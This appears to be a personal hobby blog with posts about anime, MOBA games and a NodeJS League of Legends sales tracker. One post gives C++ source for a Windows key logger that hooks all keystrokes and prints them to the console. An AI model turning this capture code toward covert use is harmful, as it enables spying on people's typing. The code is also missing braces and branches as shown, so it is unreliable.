Current Anime

January 17th, 2016 No comments

Not watching much beyond One Piece and BRNK. Planning to checkout Grimgar of Fantasy and Ash. I heard it was being compared to Sword Art Online and that was all I needed to know. I did checkout Log Horizon and made it up to season 2. But Log Horizon always felt like a slice-of-life show done in an MMO. So it felt like a different sort of genre altogether. But very intelligent and fun show.

I might get back to watching Gate and Seraph (Vampires). Also might get back to going through Dragonball Z at some point

Categories: Anime Tags:

Favorite Anime of 2015

January 17th, 2016 No comments

2015 was a very great year for Anime. Since it’s been many years since I’ve been out of high school, the majority of anime are an instant pass for me. But there were a few rare gems that really caught my eye

Attack on Titan
Parasyte – the maxim –
Death Parade
One-Punch Man
Knights of Sidonia
Rokka no Yuusha

Runner ups:
Tokyo Ghoul
Blood Blockade Battlefront

Oh wow, I would’ve added Shingeki no Bahamut GENESIS but that one actually aired in 2014 but I think it ended in 2015. Was only 12 episodes but was quite a special masterpiece. Animation studio was Mappa. Apparently was based on a game. We saw actual angels (the biblical kind) with multiple wings. Was a delight :) I suppose in 2014 was when Hunter x Hunter aired. Still missing that show.

Categories: Anime Tags:

NodeJS App updated (League of Legends Sales History)

January 2nd, 2016 No comments

Made some updates to the League of Legends Sales History web app over the break. Fixed a few misc bugs and gave it more of a face lift. Now when a champ is selected, their data appears in a popup. Getting to be pretty proud of the app at this point

Categories: Programming, Projects Tags:

Simple Key Logger in Windows C++ Using SetWindowsHookEx

December 30th, 2015 No comments

So I wanted to code a simple key logger here at home but forgot how to set it up under Windows32. It was surprisingly sort of a pain so figure I’ll put up a simple example:

#include <Windows.h>
#include <iostream>
using namespace std;
HHOOK wHook;
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
	if (nCode < 0) { return CallNextHookEx(wHook, nCode, wParam, lParam); }
	KBDLLHOOKSTRUCT* key = reinterpret_cast<KBDLLHOOKSTRUCT *>(lParam);
	if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
		// Shift scanCode into 16th place. At bit 24, we set whether this is an extended key
		int scanCode = key->scanCode << 16| key->dwExtraInfo & LLKHF_EXTENDED << 24;
		TCHAR text[0xFF];
		if (GetKeyNameText(scanCode, text, 0xff) > 0)
			wcout << text << endl;
			// If the scanCode did not work directly, try converting the virtual key code
			scanCode = key->scanCode << 16;
                        GetKeyNameText(scanCode, text, 0xff);
                        wcout << text << endl;
	return CallNextHookEx(wHook, nCode, wParam, lParam);
int main()
	wHook = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, NULL, 0);
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0) > 0)
    return 0;


Categories: Code Warriors, Programming Tags:

MOBA On a Controller?

December 14th, 2015 No comments

Video of a guy using a Steam controller with Heroes of the Storm. Very cool!

Categories: General Tags:

Vain Glory

September 9th, 2015 No comments

Vainglory looks like an interesting Mobile MOBA game. Watched a twitch feed for it. Features 3 vs 3 traditional lane fighting for iOs and android. Kind of interested in how the controls function for a MOBA on a touch screen

Categories: Video Games Tags:

League of Legends Sales Historian

August 14th, 2015 No comments

I have done some more small tweaks to the NodeJS app I blogged about a short while ago. I have so more things I want to do to it but I’m thinking sometime next week I’d like to start a new project if time presents. I have a lot of ideas for something cool. Would like to deploy another server side app on RedHat OpenShift service of course. It supports so many different tech (Java, NodeJS, Python, MongoDB, PostgresSQL, etc). The possibilities are wide open :)

Categories: Programming Tags:

NodeJS Application deployed

July 30th, 2015 No comments

Just uploaded my first web app for League of Legends. It’s a full stack application running on a nodeJS backend. The front end utilizes AngularJS which is a single page application framework. The client utilizes JSON to communicate with the web server. The entire stack is hosted by Red Hat OpenShift which works seamlessly with git projects.

You can read more information about my new LoLSales web app on the project page.

Categories: Programming Tags:

Working on a new NodeJS app

July 26th, 2015 No comments

Hopefully will have this nodeJS application finished up soon. It’s an app for League of Legends that will automatically access the LoL sales page site and track champion-and-skin sales. At first, I was actually hoping I was filling in a niche role that no other app has tapped into but it appears there’s already a sale tracking app that does part of this already. But I have some other features in mind that the other app does not provide. So that should help get this app noticed

Categories: Programming, Projects Tags:

Added new AngularJS app

July 19th, 2015 No comments

Added a new Javascript AngularJS app. It just does basic stuff such as build a Binary Search Tree (BST) based on input and lists the various traversal methods. Will see if I can upload more of my javascripts. They are a pretty good example of how to build data structures in Javascript that are enclosed within an object (like a library).

Categories: Programming Tags: